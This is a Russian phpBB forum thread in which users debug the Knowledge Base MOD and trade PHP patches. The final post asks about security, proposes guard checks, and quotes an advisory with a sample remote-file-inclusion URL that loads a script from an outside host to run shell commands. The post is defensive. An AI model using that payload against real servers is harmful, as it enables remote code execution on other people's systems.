Ну вот же, прям перед носом - на это странице! Смотри мое сообщение от 18.02.2007wwc писал(а):Может быть есть SQL код в текстовом виде ?
Knowledge Base MOD
-
- Former team member
- Сообщения: 12113
- Зарегистрирован: 18 лет 2 месяца
- Откуда: Калининград не Кенигсберг
- Благодарил (а): 36 раз
- Поблагодарили: 1526 раз
Re: Knowledge Base MOD
Общие ошибки новичков (07.11.2005) & Как задавать вопросы
Мини FAQ
Если ничто другое не помогает, прочтите, наконец, инструкцию!
"Никакая инструкция не может перечислить всех обязанностей должностного лица, предусмотреть все отдельные случаи и дать вперёд соответствующие указания, а поэтому господа инженеры должны проявить инициативу и, руководствуясь знаниями своей специальности и пользой дела, принять все усилия для оправдания своего назначения".
Циркуляр Морского технического комитета №15 от 29.11.1910 г.
-
- phpBB 1.4.4
- Сообщения: 127
- Зарегистрирован: 17 лет 10 месяцев
- Откуда: Москва
Re: Knowledge Base MOD
Туплю-с...aquaforum.lv писал(а):Ну вот же, прям перед носом - на это странице! Смотри мое сообщение от 18.02.2007wwc писал(а):Может быть есть SQL код в текстовом виде ?

Лучшая месть убийце - укол редкого вируса и поиск антидота от него за 48 часов.
-
- phpBB 1.4.4
- Сообщения: 127
- Зарегистрирован: 17 лет 10 месяцев
- Откуда: Москва
Re: Knowledge Base MOD
Спасибо. Все поставил. Вроде работает. Но как бы мне с этим глюком побороться --> http://rsg.peko.ru/php/phpBB2/viewtopic.php?t=336 ... не выводит ни саму статью ни ее URL :-(
Лучшая месть убийце - укол редкого вируса и поиск антидота от него за 48 часов.
-
- phpBB 1.4.4
- Сообщения: 127
- Зарегистрирован: 17 лет 10 месяцев
- Откуда: Москва
Re: Knowledge Base MOD
И еще не совсем понятна формулировка "Тип статьи", коли есть пункт описание статьи... 

Лучшая месть убийце - укол редкого вируса и поиск антидота от него за 48 часов.
-
- Former team member
- Сообщения: 12113
- Зарегистрирован: 18 лет 2 месяца
- Откуда: Калининград не Кенигсберг
- Благодарил (а): 36 раз
- Поблагодарили: 1526 раз
Re: Knowledge Base MOD
Сам не знаю. На локалке работает как надо, на сайте нет. Плюнул, после добавления статьи редактирую вручную. Выглядеть это должно примерно так.wwc писал(а):Но как бы мне с этим глюком побороться...... не выводит ни саму статью ни ее URL :-(
Тип статьи - это наверное какя-то заготовка автора мода на будущее, но доделать руки видать не дошли

Общие ошибки новичков (07.11.2005) & Как задавать вопросы
Мини FAQ
Если ничто другое не помогает, прочтите, наконец, инструкцию!
"Никакая инструкция не может перечислить всех обязанностей должностного лица, предусмотреть все отдельные случаи и дать вперёд соответствующие указания, а поэтому господа инженеры должны проявить инициативу и, руководствуясь знаниями своей специальности и пользой дела, принять все усилия для оправдания своего назначения".
Циркуляр Морского технического комитета №15 от 29.11.1910 г.
-
- phpBB 1.4.4
- Сообщения: 127
- Зарегистрирован: 17 лет 10 месяцев
- Откуда: Москва
Re: Knowledge Base MOD
А в каом месте вообще формируется код выхода на основную страничку, может там просто переменная кривовато описана. Где б посмотреть ?aquaforum.lv писал(а):Сам не знаю. На локалке работает как надо, на сайте нет. Плюнул, после добавления статьи редактирую вручную. Выглядеть это должно примерно так.wwc писал(а):Но как бы мне с этим глюком побороться...... не выводит ни саму статью ни ее URL :-(
Тип статьи - это наверное какя-то заготовка автора мода на будущее, но доделать руки видать не дошли
Лучшая месть убийце - укол редкого вируса и поиск антидота от него за 48 часов.
-
- Former team member
- Сообщения: 12113
- Зарегистрирован: 18 лет 2 месяца
- Откуда: Калининград не Кенигсберг
- Благодарил (а): 36 раз
- Поблагодарили: 1526 раз
Re: Knowledge Base MOD
Смиотреть в файле includes\kb_post.phpwwc писал(а):Где б посмотреть ?
Собака порылась где-то тут:
Код: Выделить всё
$kb_post_mode = empty( $article_id ) ? 'add' : 'edit';
// Parameters
$submit = ( isset( $HTTP_POST_VARS['article_submit'] ) ) ? true : false;
$cancel = ( isset( $HTTP_POST_VARS['cancel'] ) ) ? true : false;
$preview = ( isset( $HTTP_POST_VARS['preview'] ) ) ? true : false;
Общие ошибки новичков (07.11.2005) & Как задавать вопросы
Мини FAQ
Если ничто другое не помогает, прочтите, наконец, инструкцию!
"Никакая инструкция не может перечислить всех обязанностей должностного лица, предусмотреть все отдельные случаи и дать вперёд соответствующие указания, а поэтому господа инженеры должны проявить инициативу и, руководствуясь знаниями своей специальности и пользой дела, принять все усилия для оправдания своего назначения".
Циркуляр Морского технического комитета №15 от 29.11.1910 г.
-
- phpBB 1.4.4
- Сообщения: 127
- Зарегистрирован: 17 лет 10 месяцев
- Откуда: Москва
Re: Knowledge Base MOD
Посмотрел. Вроде нчиего особенного не нашел. Думаю, что проблема в той части скрипта, где идет формирование связи с выводом в viewtopic.phpaquaforum.lv писал(а):Смиотреть в файле includes\kb_post.phpwwc писал(а):Где б посмотреть ?
Собака порылась где-то тут:Код: Выделить всё
$kb_post_mode = empty( $article_id ) ? 'add' : 'edit'; // Parameters $submit = ( isset( $HTTP_POST_VARS['article_submit'] ) ) ? true : false; $cancel = ( isset( $HTTP_POST_VARS['cancel'] ) ) ? true : false; $preview = ( isset( $HTTP_POST_VARS['preview'] ) ) ? true : false;
Лучшая месть убийце - укол редкого вируса и поиск антидота от него за 48 часов.
-
- phpBB 2.0.0
- Сообщения: 227
- Зарегистрирован: 19 лет 9 месяцев
Re: Knowledge Base MOD
Какая версия мода? и где качали?
файл functions_kb.php:
За создание сообщения отвечает функция kb_compose_comment
Там раньше была ошибка, что-то типа - т.е. PORTAL_URL не определено
файл functions_kb.php:
За создание сообщения отвечает функция kb_compose_comment
Там раньше была ошибка, что-то типа - т.е. PORTAL_URL не определено
Хотя может и исправили это.$temp_url = PORTAL_URL . this_kb_mxurl("mode=" . "article&k=" . $kb_comment['article_id']);
-
- Former team member
- Сообщения: 12113
- Зарегистрирован: 18 лет 2 месяца
- Откуда: Калининград не Кенигсберг
- Благодарил (а): 36 раз
- Поблагодарили: 1526 раз
Re: Knowledge Base MOD
Версия 1.19 от 2005/04/20. Откуда качал не помню.Gosudar писал(а):Какая версия мода? и где качали?
В общем поковырялся там. С PORTAL_URL вроде все впорядке.
Собственно суть проблемы такова. При добавлении статьи в форуме создается топик и там вместо
Название статьи:
Автор:
Описание:
Категория:
Тип статьи:
>>Прочитать статью полностью
выводится
Статья отредактирована
То есть в БД в таблицу phpbb_posts_text попадает содержимое переменной $message_update_text , а не переменной $message
Почему, я так и не понял, но решил проблему в лоб, может некрасиво, но зато работает:
Код: Выделить всё
файл includes/kb_post.php
найти
$message_temp = kb_compose_comment( $kb_comment );
заменить
$message_temp = kb_compose_comment( $kb_comment, $mode );
файл includes/kb_article.php
найти
$message_temp = kb_compose_comment( $kb_comment );
заменить
$message_temp = kb_compose_comment( $kb_comment, $mode );
файл includes/kb_moderator.php
найти
$message_temp = kb_compose_comment( $kb_comment );
заменить
$message_temp = kb_compose_comment( $kb_comment, $mode );
файл includes/functions_kb.php
найти
function kb_compose_comment( $kb_comment )
заменить
function kb_compose_comment( $kb_comment, $kb_mode )
найти
$message_update_text = "[i]" . $lang['Edited_Article_info'] . $kb_comment['article_editor'] . "[/i]" . "\n\n";
после вставить
if ($kb_mode == "add") $message_update_text = $message;
Общие ошибки новичков (07.11.2005) & Как задавать вопросы
Мини FAQ
Если ничто другое не помогает, прочтите, наконец, инструкцию!
"Никакая инструкция не может перечислить всех обязанностей должностного лица, предусмотреть все отдельные случаи и дать вперёд соответствующие указания, а поэтому господа инженеры должны проявить инициативу и, руководствуясь знаниями своей специальности и пользой дела, принять все усилия для оправдания своего назначения".
Циркуляр Морского технического комитета №15 от 29.11.1910 г.
-
- phpBB 2.0.0
- Сообщения: 227
- Зарегистрирован: 19 лет 9 месяцев
Re: Knowledge Base MOD
Ну если работает, и при редактировании тогда все ок!
Если нет, киньте в меня свою версию мода, посмотрю на досуге.
Если нет, киньте в меня свою версию мода, посмотрю на досуге.
-
- phpBB 1.4.4
- Сообщения: 127
- Зарегистрирован: 17 лет 10 месяцев
- Откуда: Москва
Re: Knowledge Base MOD
Реально работает. Спасибо огромное !!!aquaforum.lv писал(а):Почему, я так и не понял, но решил проблему в лоб, может некрасиво, но зато работает:Gosudar писал(а):Какая версия мода? и где качали?
Лучшая месть убийце - укол редкого вируса и поиск антидота от него за 48 часов.
-
- Former team member
- Сообщения: 12113
- Зарегистрирован: 18 лет 2 месяца
- Откуда: Калининград не Кенигсберг
- Благодарил (а): 36 раз
- Поблагодарили: 1526 раз
Re: Knowledge Base MOD
Да ить работать-то, работает. Но все-равно тут парадокс и перегиб.wwc писал(а):Реально работает.
На работе стоит Apach, скачанный с denwer.ru (Денвер-2 2005-07-19), дома поставил тот же. Настройки вроде те же, но вот на работе на локале все работает без всяких переделок, а дома и на хосте - нет. Или что-то с глобальными переменными, или с настройками php.
Короче мод кривоватый, если такие неявные нюансы влияют на работу мода.
Общие ошибки новичков (07.11.2005) & Как задавать вопросы
Мини FAQ
Если ничто другое не помогает, прочтите, наконец, инструкцию!
"Никакая инструкция не может перечислить всех обязанностей должностного лица, предусмотреть все отдельные случаи и дать вперёд соответствующие указания, а поэтому господа инженеры должны проявить инициативу и, руководствуясь знаниями своей специальности и пользой дела, принять все усилия для оправдания своего назначения".
Циркуляр Морского технического комитета №15 от 29.11.1910 г.
-
- phpBB 1.4.4
- Сообщения: 127
- Зарегистрирован: 17 лет 10 месяцев
- Откуда: Москва
Re: Knowledge Base MOD
В целом, да. В 1.53 + , есть решение этого мода встроенным путем. Можно у них посмотреть. Я, если честно, не мостак перестраивать плюсовые моды под обычные :-)aquaforum.lv писал(а):Короче мод кривоватый, если такие неявные нюансы влияют на работу мода.
Лучшая месть убийце - укол редкого вируса и поиск антидота от него за 48 часов.
-
- phpBB 1.2.0
- Сообщения: 15
- Зарегистрирован: 17 лет 4 месяца
Re: Knowledge Base MOD
Добрый день!
Есть вопрос по безопасности данного мода.
В частности интересует файл ./includes/kb_constants.php
Файл начинается с:
Не должно ли там быть что-то типа:
или:
Добавлено спустя 4 минуты 19 секунд:
Кстати, вот с хакера пример...
Программа: Knowledge Base Mod (модуль для phpBB) 2.0.2, возможно другие версии.
Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "module_root_path" в сценарии /includes/kb_constants.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP сценарий на системе с привилегиями Web сервера. Для удачной эксплуатации уязвимости опция "register_globals" должна быть включена.
Пример:
/includes/kb_constants.php?module_root_path=http://yourhost/cmd.gif?cmd=ls
Есть вопрос по безопасности данного мода.
В частности интересует файл ./includes/kb_constants.php
Файл начинается с:
Код: Выделить всё
if ( !MXBB_MODULE )
{...
Код: Выделить всё
if ( !defined( 'IN_PORTAL' ) )
{
die( "Hacking attempt" );
}
Код: Выделить всё
if ( !defined('IN_PHPBB') )
{
die("Hacking attempt");
}
Кстати, вот с хакера пример...
Программа: Knowledge Base Mod (модуль для phpBB) 2.0.2, возможно другие версии.
Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "module_root_path" в сценарии /includes/kb_constants.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP сценарий на системе с привилегиями Web сервера. Для удачной эксплуатации уязвимости опция "register_globals" должна быть включена.
Пример:
/includes/kb_constants.php?module_root_path=http://yourhost/cmd.gif?cmd=ls